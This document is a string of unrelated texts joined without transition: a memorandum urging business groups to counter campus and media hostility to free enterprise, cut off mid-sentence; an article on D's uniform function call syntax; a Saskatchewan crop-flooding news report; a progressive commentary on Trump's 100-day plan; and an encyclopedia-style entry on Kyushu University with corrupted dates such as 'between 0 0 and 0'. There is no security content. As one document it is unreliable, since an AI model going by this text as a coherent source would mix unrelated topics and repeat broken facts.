Social science faculties (the political scientist, economist, sociologist and many of the historians) tend to be liberally oriented, even when leftists are not present. This is not a criticism per se, as the need for liberal thought is essential to a balanced viewpoint. The difficulty is that “balance” is conspicuous by its absence on many campuses, with relatively few members being of conservatives or moderate persuasion and even the relatively few often being less articulate and aggressive than their crusading colleagues.
This situation extending back many years and with the imbalance gradually worsening, has had an enormous impact on millions of young American students. In an article in Barron’s Weekly, seeking an answer to why so many young people are disaffected even to the point of being revolutionaries, it was said: “Because they were taught that way.”10 Or, as noted by columnist Stewart Alsop, writing about his alma mater: “Yale, like every other major college, is graduating scores’ of bright young men … who despise the American political and economic system.”
As these “bright young men,” from campuses across the country, seek opportunities to change a system which they have been taught to distrust — if not, indeed “despise” — they seek employment in the centers of the real power and influence in our country, namely: (i) with the news media, especially television; (ii) in government, as “staffers” and consultants at various levels; (iii) in elective politics; (iv) as lecturers and writers, and (v) on the faculties at various levels of education.
Many do enter the enterprise system — in business and the professions — and for the most part they quickly discover the fallacies of what they have been taught. But those who eschew the mainstream of the system often remain in key positions of influence where they mold public opinion and often shape governmental action. In many instances, these “intellectuals” end up in regulatory agencies or governmental departments with large authority over the business system they do not believe in.
If the foregoing analysis is approximately sound, a priority task of business — and organizations such as the Chamber — is to address the campus origin of this hostility. Few things are more sanctified in American life than academic freedom. It would be fatal to attack this as a principle. But if academic freedom is to retain the qualities of “openness,” “fairness” and “balance” — which are essential to its intellectual significance — there is a great opportunity for constructive action. The thrust of such action must be to restore the qualities just mentioned to the academic communities.
What Can Be Done About the Campus
The ultimate responsibility for intellectual integrity on the campus must remain on the administrations and faculties of our colleges and universities. But organizations such as the Chamber can assist and activate constructive change in many ways, including the following:
Staff of Scholars
The Chamber should consider establishing a staff of highly qualified scholars in the social sciences who do believe in the system. It should include several of national reputation whose authorship would be widely respected — even when disagreed with.
Staff of Speakers
There also should be a staff of speakers of the highest competency. These might include the scholars, and certainly those who speak for the Chamber would have to articulate the product of the scholars.
Speaker’s Bureau
In addition to full-time staff personnel, the Chamber should have a Speaker’s Bureau which should include the ablest and most effective advocates from the top echelons of American business.
Evaluation of Textbooks
The staff of scholars (or preferably a panel of independent scholars) should evaluate social science textbooks, especially in economics, political science and sociology. This should be a continuing program.
The objective of such evaluation should be oriented toward restoring the balance essential to genuine academic freedom. This would include assurance of fair and factual treatment of our system of government and our enterprise system, its accomplishments, its basic relationship to individual rights and freedoms, and comparisons with the systems of socialism, fascism and communism. Most of the existing textbooks have some sort of comparisons, but many are superficial, biased and unfair.
We have seen the civil rights movement insist on re-writing many of the textbooks in our universities and schools. The labor unions likewise insist that textbooks be fair to the viewpoints of organized labor. Other interested citizens groups have not hesitated to review, analyze and criticize textbooks and teaching materials. In a democratic society, this can be a constructive process and should be regarded as an aid to genuine academic freedom and not as an intrusion upon it.
If the authors, publishers and users of textbooks know that they will be subjected — honestly, fairly and thoroughly — to review and critique by eminent scholars who believe in the American system, a return to a more rational balance can be expected.
Equal Time on the Campus
The Chamber should insist upon equal time on the college speaking circuit. The FBI publishes each year a list of speeches made on college campuses by avowed Communists. The number in 1970 exceeded 100. There were, of course, many hundreds of appearances by leftists and ultra liberals who urge the types of viewpoints indicated earlier in this memorandum. There was no corresponding representation of American business, or indeed by individuals or organizations who appeared in support of the American system of government and business.
Every campus has its formal and informal groups which invite speakers. Each law school does the same thing. Many universities and colleges officially sponsor lecture and speaking programs. We all know the inadequacy of the representation of business in the programs.
It will be said that few invitations would be extended to Chamber speakers.11 This undoubtedly would be true unless the Chamber aggressively insisted upon the right to be heard — in effect, insisted upon “equal time.” University administrators and the great majority of student groups and committees would not welcome being put in the position publicly of refusing a forum to diverse views, indeed, this is the classic excuse for allowing Communists to speak.
The two essential ingredients are (i) to have attractive, articulate and well-informed speakers; and (ii) to exert whatever degree of pressure — publicly and privately — may be necessary to assure opportunities to speak. The objective always must be to inform and enlighten, and not merely to propagandize.
Balancing of Faculties
Perhaps the most fundamental problem is the imbalance of many faculties. Correcting this is indeed a long-range and difficult project. Yet, it should be undertaken as a part of an overall program. This would mean the urging of the need for faculty balance upon university administrators and boards of trustees.
The methods to be employed require careful thought, and the obvious pitfalls must be avoided. Improper pressure would be counterproductive. But the basic concepts of balance, fairness and truth are difficult to resist, if properly presented to boards of trustees, by writing and speaking, and by appeals to alumni associations and groups.
This is a long road and not one for the fainthearted. But if pursued with integrity and conviction it could lead to a strengthening of both academic freedom on the campus and of the values which have made America the most productive of all societies.
Graduate Schools of Business
The Chamber should enjoy a particular rapport with the increasingly influential graduate schools of business. Much that has been suggested above applies to such schools.
Should not the Chamber also request specific courses in such schools dealing with the entire scope of the problem addressed by this memorandum? This is now essential training for the executives of the future.
Secondary Education
While the first priority should be at the college level, the trends mentioned above are increasingly evidenced in the high schools. Action programs, tailored to the high schools and similar to those mentioned, should be considered. The implementation thereof could become a major program for local chambers of commerce, although the control and direction — especially the quality control — should be retained by the National Chamber.
What Can Be Done About the Public?
Reaching the campus and the secondary schools is vital for the long-term. Reaching the public generally may be more important for the shorter term. The first essential is to establish the staffs of eminent scholars, writers and speakers, who will do the thinking, the analysis, the writing and the speaking. It will also be essential to have staff personnel who are thoroughly familiar with the media, and how most effectively to communicate with the public. Among the more obvious means are the following:
Television
The national television networks should be monitored in the same way that textbooks should be kept under constant surveillance. This applies not merely to so-called educational programs (such as “Selling of the Pentagon”), but to the daily “news analysis” which so often includes the most insidious type of criticism of the enterprise system.12 Whether this criticism results from hostility or economic ignorance, the result is the gradual erosion of confidence in “business” and free enterprise.
This monitoring, to be effective, would require constant examination of the texts of adequate samples of programs. Complaints — to the media and to the Federal Communications Commission — should be made promptly and strongly when programs are unfair or inaccurate.
Equal time should be demanded when appropriate. Effort should be made to see that the forum-type programs (the Today Show, Meet the Press, etc.) afford at least as much opportunity for supporters of the American system to participate as these programs do for those who attack it.
Other Media
Radio and the press are also important, and every available means should be employed to challenge and refute unfair attacks, as well as to present the affirmative case through these media.
The Scholarly Journals
It is especially important for the Chamber’s “faculty of scholars” to publish. One of the keys to the success of the liberal and leftist faculty members has been their passion for “publication” and “lecturing.” A similar passion must exist among the Chamber’s scholars.
Incentives might be devised to induce more “publishing” by independent scholars who do believe in the system.
There should be a fairly steady flow of scholarly articles presented to a broad spectrum of magazines and periodicals — ranging from the popular magazines (Life, Look, Reader’s Digest, etc.) to the more intellectual ones (Atlantic, Harper’s, Saturday Review, New York, etc.)13 and to the various professional journals.
Books, Paperbacks and Pamphlets
The news stands — at airports, drugstores, and elsewhere — are filled with paperbacks and pamphlets advocating everything from revolution to erotic free love. One finds almost no attractive, well-written paperbacks or pamphlets on “our side.” It will be difficult to compete with an Eldridge Cleaver or even a Charles Reich for reader attention, but unless the effort is made — on a large enough scale and with appropriate imagination to assure some success — this opportunity for educating the public will be irretrievably lost.
Paid Advertisements
Business pays hundreds of millions of dollars to the media for advertisements. Most of this supports specific products; much of it supports institutional image making; and some fraction of it does support the system. But the latter has been more or less tangential, and rarely part of a sustained, major effort to inform and enlighten the American people.
If American business devoted only 10% of its total annual advertising budget to this overall purpose, it would be a statesman-like expenditure.
The Neglected Political Arena
In the final analysis, the payoff — short-of revolution — is what government does. Business has been the favorite whipping-boy of many politicians for many years. But the measure of how far this has gone is perhaps best found in the anti-business views now being expressed by several leading candidates for President of the United States.
It is still Marxist doctrine that the “capitalist” countries are controlled by big business. This doctrine, consistently a part of leftist propaganda all over the world, has a wide public following among Americans.
Yet, as every business executive knows, few |
After all, someone using the class may not be able to modify the class declarations in the import files supplied.
The next stage in our thought process is "derive from class C, and add those extra methods there!":
class D : C { int square() { return get() * get(); } }
OK, but now every instance of
new C();
must be found and replaced with:
new D();
and of course this falls over completely when Fred derived D from C to add method square, and Bill derived E from C to add another method cube, and both methods are needed. (Of course, there's the dreaded multiple "diamond" inheritance, but I think there's a better way. Read on.)
Scott Meyers recognized this problem back in 2000, and wrote an insightful article How Non-Member Functions Improve Encapsulation about a solution — use free functions instead when they can be implemented as non-friends. (His arguments are compelling enough that I won't even try to improve on them.) Free functions in the D programming language would look like:
In fred.d: import mylib: C; int square(C c) { return c.get() * c.get(); } In bill.d: import mylib: C; int cube(C c) { return c.get() * c.get() * c.get(); }
And it would be used like:
import mylib: C; import fred: square; import bill: cube;... auto c = new C;... auto s = square(c); auto b = cube(c);
and that works. But there's a problem. We'd really prefer using
c.square();
instead of
square(c);
After all, there's the matter of consistency. When there's both:
x.toInteger(); toString(i);
it just seems arbitrary. Chaining methods like:
toString(x.toInteger());
looks wonky compared with:
x.toInteger().toString();
But it's more than just cosmetic. A template may rely on structural conformance, meaning it is looking for specific methods. An example of this would be an input range (from std.range), which looks for the methods empty, popFront, and front. There's no way to add that functionality to an existing class without cracking it open and inserting them, and input ranges don't recognize free function versions. For built-in types, most languages do not allow adding methods.
I hope you've borne with me so far, because here's the payoff:
Uniform Function Call Syntax
New to version 2.059 of D (and implemented by Kenji Hara) is the notion of uniform function call syntax. It's been around in D since the beginning in a nascent form for arrays, but it's now available for all classes and structs. If the compiler sees:
c.square(args);
and square is not a member of class C, then it looks for a free function of the form:
square(c,args);
That's it! Now it's easier to follow Scott Meyers' advice to minimize the number of methods in a class to just those that need to access its private state. Implement the rest as free functions. Methods can be "added" by third parties without changing the original class definition. Additions from multiple third parties can be used simultaneously. And payment will only be made for the methods that are actually used. Hopefully, this helps spell the end of "fat" and "kitchen sink" classes.
Alternatives
A different design to address this problem is called Extension Methods. Extension methods differ in that they require a special syntax to differentiate them from regular functions, and they may only be called using the infix notation; i.e., c.foo(args). The D design does not require a special syntax, and the methods may be called with either the infix notation or the prefix notation; i.e., foo(c, args).
C++ STL algorithms avoid this problem by standardizing on the non-member function call syntax. They take iterators instead of containers, so they never call container member functions, and because iterators may actually be pointers, they never invoke member functions on iterators. Function objects are invoked as if they were function pointers, which they may in fact be.
Only time and usage experience will tell whether D's approach that allows both c.foo() and foo(c) to coexist, C#'s approach to only allow c.foo(), or C++ STL's approach to only allow foo(c) is superior.
Acknowledgments
Thanks to Scott Meyers for his helpful suggestions on this, Andrei Alexandrescu for repeatedly explaining it to me, and to Kenji Hara for implementing it for D, and to Eric Neibler, Bartsoz Milewski and David Held for their insights.MELVILLE, Sask. – Many Saskatchewan farmers have lost part of their livelihoods as a result of the recent flooding; however, a local farmer east of Melville remains in good spirits.
“There’s not much that you can do,” said Robert Mitrenga. “Mother nature brings something on and we just got to live with it.”
Mitrenga grows mainly canola on his 1,800 acres, but this year he tried his luck seeding some quinoa. “It’s 90 per cent under water. It’s done. That was a good cash crop but I guess it won’t be this year.”
He figures he lost about 30 per cent of his crop due to flooding.
According to Saskatchewan Agriculture’s weekly crop report, two to three million acres have been damaged across the province.
“There’s a lot of folks in that southeast part of the province that this is their fifth year of wet ground and they’re getting tired of it,” said Norm Hall, president of the Agricultural Producers Association of Saskatchewan.
This year has been a tough one for some farmers. In addition to the flooding, a transportation bottleneck meant last year’s harvest sat in bins across the prairies.
“That caused market signals from the grain companies to widen their basis, so we ended up with lower prices because of that,” said Hall. “One thing after another.”
As for compensation, Hall says crop insurance will cover yield loss and farmers can apply to the provincial disaster assistance program (PDAP) for damage to their homes.
“I’m not sure if there’s going to be any settlements now before harvest. I doubt it,” said Hall.
There’s no hope for crops that are still underwater but even as levels continue to recede, Mitrenga remains realistic. “Two days of this nice wind and sun will help out the crops that haven’t been affected,” he said “But now we’re waiting for the next storm to come.”What now? Brace yourself.
At the end of October in Gettysburg, Pennsylvania, U.S. President-elect Donald Trump laid out what his campaign called a "100-day plan to Make America Great Again."
The plan (pdf) came on top of multiple promises Trump made on the campaign trail about what he would do on his "first day in office." Taken together, these vows represent a right-wing agenda that includes:
removing "more than two million criminal illegal immigrants from the country;"
canceling "every unconstitutional executive action, memorandum, and order issued by President Obama;"
suspending immigration "from terror-prone regions where vetting cannot safely occur;"
repealing and replacing the Affordable Care Act;
allowing the Keystone XL pipeline to move forward;
lifting restrictions on fossil fuel production;
selecting a Supreme Court nominee in the mold of the late Justice Antonin Scalia;
canceling "billions in payments to U.N. climate change programs;"
establishing "a requirement that for every new federal regulation, two existing regulations must be eliminated;" and
ending federal funding for sanctuary cities.
"This is life in the early days of a Trump presidency: economic shock, international instability, and constitutional crisis as Trump makes the presidency his plaything," Washington Post columnist Dana Milbank wrote last week.
Some of Trump's plans, including the infamous border wall with Mexico, may hit some roadblocks. But with the GOP retaining control of both the House and the Senate—and Trump's potential cabinet picks comprised of conservative darlings from Rudy Giuliani to Sarah Palin—the path for implementation for many of these agenda items is clear.
As John Nichols wrote on Wednesday for The Nation:
Make no mistake, Trump now leads the Republican Party. And that party has in recent years developed an approach to power. When it does not control the executive branch, the GOP obstructs the Democrat who is in charge. When it has the executive and legislative branches in its grip, the GOP acts. Quickly. Despite the whining of "Never Trump" conservatives who griped that the Republican nominee was politically impure, Trump accepted the nomination of a socially and economically conservative party that spelled out its agenda in a platform that People for the American Way's "Right-Wing Watch" recognized as a more extreme version of the party's previous programs: "a far-right fever dream, a compilation of pouting, posturing, and policies to meet just about every demand from the overlapping Religious Right, Tea Party, corporate, and neo-conservative wings of the GOP." SCROLL TO CONTINUE WITH CONTENT Help Keep Common Dreams Alive Our progressive news model only survives if those informed and inspired by this work support our efforts
[Newt] Gingrich correctly noted that the platform on which Trump was elected outlines an aggressive anti-labor agenda that parallels the worst of what Walker and other members of the GOP's "Class of 2010" implemented in the first months of their tenures. The new president has criticized minimum-wage laws and supported anti-union "right-to-work" laws. Only fools would doubt that his fiercely anti-labor vice presidential running mate, Indiana Governor Mike Pence, will hesitate to implement the agenda (as a defining player on domestic policy) just as quickly as did Walker. Nor should they doubt any of the other outlandish and extreme commitments made by Trump during what the new president described in his victory speech as a "nasty" and "tough" campaign. Trump will have skilled and experienced allies, not just in Pence but in House Speaker Paul Ryan and Senate Majority Leader Mitch McConnell.
Ryan himself said Wednesday in the wake of Trump's win: "Now...we will lead a unified Republican government," and talked of working together toward Republican priorities.
"The opportunity is now here, and the opportunity is to go big and go bold," Ryan said.
In fact, those establishment allies have been laying this groundwork for years, said Charles Pierce in Esquire on Wednesday.
"Somebody finally climbed aboard the vehicle that the Republican Party had spent long years constructing, but that it somehow never built up the nerve to take out for a real shakedown," Pierce wrote. "Turns out, it was more powerful than even they could have imagined it to be, and now we're all along for the ride, god help us."Center Zone Kyushu University Ito Campus
Former School of Engineering Main Building, Hakozaki Campus
Ito Campus West Zone
Kyushu University (九州大学, Kyūshū Daigaku), abbreviated to Kyudai (九大, Kyūdai), is a Japanese national university located in Fukuoka, in the island of Kyushu. It is the 4th oldest university in Japan and one of the former Imperial Universities. It is considered as one of the most prestigious research-oriented universities in Japan. The history of Kyushu University can be traced back to the medical schools of the feudal domains established in 1867.
There are 2,089 foreign students (As of 2016 ) enrolled in the University. It was chosen for the Global 30 university program, and has been selected to the top 13 global university project.[1]
Symbol [ edit ]
Kyushu University does not have an official school song, instead it has one cheering song and three student songs including Matssubara-ni, with lyrics by Yoshifumi Akiyama.
The University's logo features a background of pine needles inset with an older iterance of the kanji for "university". The logo was officially established in 2004, but was originally proposed by a student, Sou Yoshihide, in the mid-20th century, and was used then on from 1950. There have also been alternatives designs, such as those featuring the Japanese KU or Q, for Kyushu instead of "university".
On March 3, prior to the incorporation of national universities in April 2004, the Committee of Public Relations agreed on a new university logo and color that symbolize Kyushu University under the new structure.
University logos [ edit ]
The pine needle design, which is used in the current university logo, remains in the new logo. On deciding the new logo, consideration was given as to whether it would still be highly distinctive even when electronically rendered. The introduction of the new logo, however, does not limit or eliminate the use of the previous one Fig. B.
Several patterns of university logos (Figs. C-F) have been created for use on PR materials and merchandise. Fig. C uses the same design as Fig. A without the two Chinese characters that mean “university,” while Fig. D illustrates a design using the capital letters of Kyushu University (KU). Fig. E symbolizes the letter “q” for “Q-shu” University. Fig. F is the logo originally printed on the university diploma. These logos are also registered and used as trademarks of Kyushu University.
Logo color [ edit ]
Dark red colors have been used for the logo of Kyushu University. The committee chose wine red as the new university logo color given that it is similar to the previous one and does not spoil the established image of Kyushu University’s logo color. Since the visual effects of color can vary according to usage, a variation of the wine color within an allowable range can be used as the logo color. To allow broader variations, the use of sub-colors was also approved.
[2] Global 30 Project [ edit ]
On July 3, 2009, Kyushu University was chosen as one of thirteen venues for the “Global 30 (G30) Project”, planned and funded by Japan’s Ministry of Education, Culture, Sports, Science and Technology (MEXT). The major aim of the project is to further promote the globalization of Japanese higher education by assisting a select number of universities through the prioritized allocation of grants. The recipient schools are expected, among other things, to build and improve a system whereby overseas students may study and engage in research with minimal cultural and linguistic barriers. This more focused approach to budget allocation is also expected to help realize the government’s public commitment to accommodate more than 300,000 international students on Japanese campuses by 2020.
In February 2010, the University opened an all-purpose office in Cairo, Egypt, bringing the number of its overseas offices to 13. Although the Cairo Office is managed by Kyushu University, all other Japanese colleges and universities can have access to its services and facilities when trying to recruit students or promote academic projects in Egypt.
By implementing these measures, Kyushu University is expecting to raise the number of its international students to 3,900 within a decade, a 300% increase over the current number. By the time the five-year grant terminates, the University will also have laid the foundation for a new interdisciplinary department (tentatively called the “International School of Arts and Sciences”), which is expected to launch by 2020.
Liberal arts subjects and basic sciences [ edit ]
For the first year and a half, students in the international undergraduate programs study various liberal arts subjects and basic sciences. This segment of the programs aims not only to equip students with in-depth liberal arts knowledge and to help them deepen their understanding of various disciplines, but also to broaden their range of interests, and to enable them to continue learning independently.
Short-term programs [ edit ]
Japan in Today's World "JTW" [3]
ASEAN in Today's World (AsTW)[4]
[2] International Cooperation [ edit ]
MJIIT (Malaysia-Japan International Institute of Technology) [ edit ]
The governments of Japan and Malaysia have jointly established a university in Malaysia which follows the Japanese style of education in engineering. It opened in September 2011. From the time the concept of this project was initiated, Kyushu University has played a core role and now, as the leading university of mechanical precision engineering subcommittee of a school specializing in precision mechanical engineering, it hopes to take an active role in the promotion of this project.
(ASEAN University Network/ Southeast Asia Engineering Education Development Network) The AUN/SEED-Net was established in 2003 to full the following; to strengthen the main ASEAN universities education and research abilities, to strengthen the network between the universities of all the countries involved, including Japan, as well as, continuing to produce scientists needed in the economic and social areas of ASEAN nations. By accepting International Students and dispatching teachers, Kyushu University endeavors to train teachers of universities in ASEAN nations.
BOP by ICT [ edit ]
Income generation project for farmers at the BOP by ICT Kyushu University uses the funding from JICA to support Bangladeshi farming villages by creating business centers where ICT is used to provide farmers with the necessary information for farming. These centers are available anytime the farmer would like to visit. They are information hubs, where useful information regarding farmers produce and sales are being distributed by the use of ICT, amongst farmers in the hope that this will improve their income and reduce poverty.
University libraries [ edit ]
Automated storage and retrieval system installed at the Ito Library
Central Library (Hakozaki Campus)
Medical Library (Medical Campus)
Design Library (Ohashi Campus)
Chikushi Library (Chikushi Campus)
Ito Library (Ito Campus)
Humanities and Social Sciences Library (Hakozaki Campus)
Manuscript Library (Hakozaki Campus)
Number of holdings [ edit ]
(As of 1 April 2011 )
CJK Western Total Books (Volumes) 2,283,821 1,773,967 4,057,788 Serials (Titles) 53,536 40,385 93,921
Undergraduate schools [ edit ]
West Zone panoramic shot with Open Learning Plaza
School of Letters
School of Education
School of Law
School of Economics
School of Sciences
School of Medicine
School of Dentistry
School of Pharmaceutical Sciences
School of Engineering
School of Design
School of Agriculture
The 21st Century Program
[2] Graduate schools and faculties [ edit ]
Kyushu University has instituted a Graduate School/Graduate Faculty system - the first attempt of this kind at a Japanese university - as part of the overall reorganization of undergraduate and graduate education at the university in 2000. In separating the former Graduate School into the Graduate School (the education body) and the Graduate Faculty (the research body to which faculty members belong), the University is seeking to revitalize relationships between the Graduate Faculty and the Graduate School, and the Graduate Faculty and Undergraduate School. These changes should promote a more dynamic functioning of the Graduate Faculty in its relation to the Graduate School and the Undergraduate School. (Refer to chart below.)
Under the Graduate School/Faculty system, all faculty members have been transferred from members of the Undergraduate Faculty to members of the Graduate Faculty. In addition, the educational body (Graduate School) and research body (Graduate Faculty) have become independent administrative entities. This new, more responsive administrative mechanism will enable Graduate Faculty members to participate more flexibly in the education of both the Undergraduate and Graduate School bodies. In implementing a more dynamic configuration of the education bodies (Undergraduate and Graduate Schools) and research body (Graduate Faculty), the university can more readily accommodate changes and shifts to pedagogic and research foci that may occur in the future.
Kyushu University Hospital [ edit ]
Director Tatsuro Ishibashi MD, PhD Associate Directors Seiji Nakamura DDS, PhD Hiroshi Honda MD, PhD Yoichi Nakanishi MD, PhD Sumio Hoka MD, PhD Koshi Mimori MD, PhD Masami Hamada ND, Director of Nursing Address [ Fukuoka ] 3-1-1 Maidashi, Higashi-ku Fukuoka 812-8582, JAPAN TEL :+81-(0)92-641-1151 (Mon-Fri 8:30 am – 5:00 pm) +81-(0)92-642-5163 (in after-hours) [ Beppu ] 4546 Tsurumibaru, Tsurumi, Beppu Ōita 874-0838, JAPAN TEL :+81-(0)977-27-1600 Area Site area: 311,239 m2 Floor area: 199,392 m2 Site area: 100,217 m2 Floor area: 18,291 m2 Number of beds 1,400 140 Number of clinical departments ※ Medical departments: 36 Dental departments: 12 Medical departments: 5 Number of patients ※ Inpatients:409,780 / year (1,123/ day) Outpatients:690,822 / year (2,831 / day) Inpatients:33,899 / year (94 / day) Outpatients:27,808 / year (114 / day)
History [ edit ]
Kyushu University is one of the seven former Imperial Universities created in the Meiji period. The university is the largest research university in the Kyushu region with research centers in eleven different academic faculties, including the humanities, social sciences, medicine, and science.
Kyushu University Hospital is affiliated with the Faculty of Medical Sciences and the Faculty of Dental Science.
1867 The Kuroda Clan establishes an institution for Western medicine (Sanseikan) for the children of the lord and their retainers. The roots of present-day Kyushu University Hospital can be traced back to the clinic affiliated with that school.
1879 In the beginning of the Meiji period the clinic becomes an affiliated hospital of Fukuoka Prefectural Medical School.
1903 Fukuoka Medical College, a branch school of Kyoto Imperial University is established, and the hospital becomes affiliated with that school.
1911 Kyushu Imperial University is established in Fukuoka, and this hospital becomes affiliated with the university's Faculty of Medicine.
1931 The Research Institute of Balneotherapeutics is established in Beppu, Ōita Prefecture.
1945 Surviving crewmen from a downed American B-29 were subjected to medical experiments and vivisection conducted by members of the university's medical faculty.[5]
1947 Following the university reform that took place after World War II, the hospital’s name was changed to the Kyushu University Faculty of Medical Sciences Affiliated Hospital. Fifteen departments, including a dental department, were established.
1967 The Faculty of Dental Science becomes an independent facility. The Faculty of Dental Science Affiliated Hospital opens.
2003 The three hospitals affiliated with Faculty of Medical Sciences, Faculty of Dental Science and Medical Institute of Bioregulation merge to form Kyushu University Hospital.
2009 Plans for the construction of a new hospital, which began in 2000, are completed. The new hospital consists of a South Ward, North Ward, West Ward and Outpatient Ward.
[2] Research institutes [ edit ]
Medical Institute of Bio-regulation [ edit ]
The Medical Institute of Bioregulation at Kyushu University seeks to facilitate understanding of the essential regulatory mechanisms involved in human biology at the cellular and molecular levels, with a long-term goal of curing diseases.
Research Institute for Applied Mechanics [ edit ]
The Research Institute for Applied Mechanics (RIAM) was established in, and consists of three research divisions (the Division of Renewable Energy Dynamics, the Division of Earth Environment Dynamics, and the Division of Nuclear Fusion Dynamics) as well as the two research centers of the Center for East Asian Ocean-Atmosphere Dynamics (COAR) and the Advanced Fusion Research Center (AFRC). In 1997, RIAM was recognized as an inter-university collaboration research institute and became a Center of Excellence (COE), nationally promoted by the Ministry of Education, Culture, Sports, Science and Technology (MEXT). In 0 0, RIAM was again admitted to the COE of applied mechanics for the period between 0 0 and 0 by MEXT.
Institute for Materials Chemistry and Engineering [ edit ]
The IMCE consists of four divisions engaged in a wide variety of research, including the synthesis of new functional molecules, the chemistry of new molecular assemblies, the chemistry of organic-inorganic hybrid materials, and the processing of advanced materials into devices. In cooperation with research groups in each field, the IMCE promotes research related to the basic science and application of the structure and functions of materials ranging from the atomic, molecular and nanoscale to macroscales. The IMCE is spread across three campuses in Chikushi, Hakozaki and Ito. The faculty members on each campus respectively belong to the Interdisciplinary Graduate School of Engineering Sciences, the Graduate School of Sciences, and the Graduate School of Engineering, as well as the Graduate School of Integrated Frontier Sciences. Their work includes recruiting graduate students for masters and doctoral courses in their respective graduate schools.
[6] Institute of Mathematics for Industry [ edit ]
Mathematics for Industry (MI) is a new research area that will provide a foundation for creating future technologies. It has been created with the aim of responding to the needs of the industrial sector by reorganizing and merging pure and applied mathematics into flexible and versatile forms. The Institute of Mathematics for Industry (IMI), established in April 2011, is the first research organization for mathematics in Asia involved with industrial technologies. It is constituted by the divisions of "Advanced Mathematics Technology", "Applied Mathematics" and "Fundamental Mathematics". Also included is the Office for Promotion of Collaboration and Consultation to promote smooth interaction and joint research with industry.
Institute of Health Science [ edit ]
The Institute of Health Science was established in 1978 as a comprehensive research and educational institute to tackle fundamental issues of health science, and to promote and maintain human health by using innovative and unique research.
Information Infrastructure Initiative [ edit ]
The Information Infrastructure Initiative is an organization that provides information infrastructures for both inside and outside of Kyushu University. For inside the university, the Information Infrastructure Initiative provides services such as Educational Computer Environments, Campus-Wide Software, Authentication and Authorization, Teleconferencing, University Mail, Hosting Services, Shared Storage, Networks, and Information Security. For outside the university, the Information Infrastructure Initiative provides high performance computing resources and academic databases for university researchers all over Japan. The Information Infrastructure Initiative is composed of the Research Division, the Technical Support Division, and the Administration Division. The Research Division has six sections: The Academic Information Section, Language Education Environment Section, Learning Spaces Design Section, Next Generation and Future Network Section, Interdisciplinary Computational Science Section and Advanced Computing Infrastructure Section.
[7] Research Institute for East Asia Environments (RIEAE) [ edit ]
The East Asian Environmental Problems Project, overseen by Kyushu University, was initiated in September 2007 as one of the events conducted to mark the 100th anniversary of the university. The project was reestablished as the Research Institute for East Asia Environments (RIEAE) in April 2009. RIEAE proposes what our nation must do as a member of the community of East Asian countries to find and provide practical solutions to environmental problems that require international cooperation with industry, government, and academia.
The mission of RIEAE is to provide practical solutions to environmental problems, which are growing in severity in the East Asian region. RIEAE was established as a leading institute that seeks to quickly respond to the diverse and pressing environmental issues of the East Asian region, and to contribute to the development of the East Asian region through international cooperation with industry, government, and academia. Presided over by the president of Kyushu University, RIEAE is one of the university’s largest specific research projects.
[2] Institutes for the Joint Use of Kyushu University [ edit ]
Biotron Application Center Institute of Tropical Agriculture Radioisotope Center Center for Advanced Instrumental Analysis The International Student Center The Kyushu University Museum System LSI Research Center Space Environment Research Center (SERC) Research Center for Korean Studies Research Center for Education in Health Care System Research Institute of Superconductor Science and Systems Integrated Kansei Design Center Art, Science, and Technology Center for Cooperative Research Research Laboratory for High Voltage Electron Microscopy Center of Environment and Safety Natural Disaster Information Center of Western Japan Laboratory for Ionized Gas and Laser Research Kyushu University Archives Robert T. Huang Entrepreneurship Center (QREC) Admission Center International Research Center for Hydrogen Energy Center for Future Chemistry Bio-Architecture Center Research Center for Steel Low Temperature Center Center for Accelerator and Beam Applied Science Inamori Frontier Research Center Research and Education Center of Carbon Resources Research Center for Synchrotron Light Applications Incubation Center for Advanced Medical Science (ICAMS) ITOH Research Center for Plasma Turbulence Material Management Center International Research Center for Molecular Systems (IRCMS) Center for Japan-Egypt Cooperation in Science and Technology (E-JUST Center) Center for Applied Perceptual Research Center for Plasma Nano-Interference Engineering Center for Advanced Medical Innovation EU Center (EUIJ-Kyushu) Research Center for Advanced Immunology Research Center for Environmental and Developmental Medical Sciences Research Center for Cancer Stem Cell Risk Science Research Center Research Center for Nucleotide Pool Epigenome Network Research Center Center for Asian Conservation Ecology Human Proteome Research Center Center for Advanced Research in Drug Creation (CARDC) Yunus and Shiiki Social Business Research Center (SBRC) Research Center for Advanced Biomechanics
[2] TOPICS-Distinctive Research and Education [ edit ]
LL.M. Program in International Economic & Business Law [ edit ]
Taught from a Japanese perspective, the one-year program offers students the opportunity to study international economic and business law, and Japanese and comparative law in a Japanese law faculty. A three-year LL.D. program and another one-year Master’s course in Comparative Studies of Politics and Administration in Asia (CSPA) were launched in October 1999. As a result of the success of these programs, in 2001, Kyushu University was invited by the Ministry of Education to host the Young Leader's Program in Law, a program which, among others, seeks to foster good relations among future national leaders in Asia and other countries. In 2009, it was again selected by the Ministry of Education to host a Bilingual Program in law (LL.M). This unique master aims to overcome barriers of language and culture in the field of international law. This is achieved through law classes conducted in both Japanese and English, an internship, as well as a thesis written in both languages. Its first batch of students graduated in 2010.
[8] Exploratry Research for Advanced Technology (ERATO) [ edit ]
The Exploratory Research for Advanced Technology (ERATO) research funding program was founded in 1981, to promote basic research in science and technology. Its mission was to make Japan a world leader in science and technology: bringing a brighter future for Japan as well as making significant contributions to the international community.
In 2002, influenced by the government’s “Second-stage Basic Plan (Master Plan) for Science and Technology” (2001-2006) and by the strategies set_up by the Council for Science and Technology Policy (CSTP), ERATO received a complete makeover, under the bigger umbrella of “Strategic Basic Research Programs” initiated by the government.
The goal of Strategic Basic Research Programs is to promote problem-solving oriented basic research, guided by strategies set by the government based on social and economic needs as well as the national policy on science and technology.
[9] International Institute for Carbon-Neutral Energy Research (I²CNER) [ edit ]
Director: Prof. Petros Sofronis
The International Institute for Carbon-Neutral Energy Research (I2CNER) was established on the Ito Campus in December, 2010. I2CNER is the newest of six research institutes to be funded under the World Premier International Research Center Initiative (WPI) program sponsored by the Ministry of Education, Culture, Sports, Science and Technology (MEXT). The objective of the I2CNER is to realize a carbon-neutral energy fueled society through Green Innovation.
[10] Center for Organic Photonics and Electronics Research [ edit ]
Director: Prof. Chihaya Adachi
The new research building for the Center for Organic Photonics and Electronics Research (OPERA) was completed at the ITO campus in August 2011 and several OPERA research laboratories have been constructed inside. The building has three doors and is 2400 square meters in area, and has a clean room, physical equipment room, synthetic laboratory rooms, conference rooms and a cafe.
JST ERATO Takahara Soft Interfaces Project [ edit ]
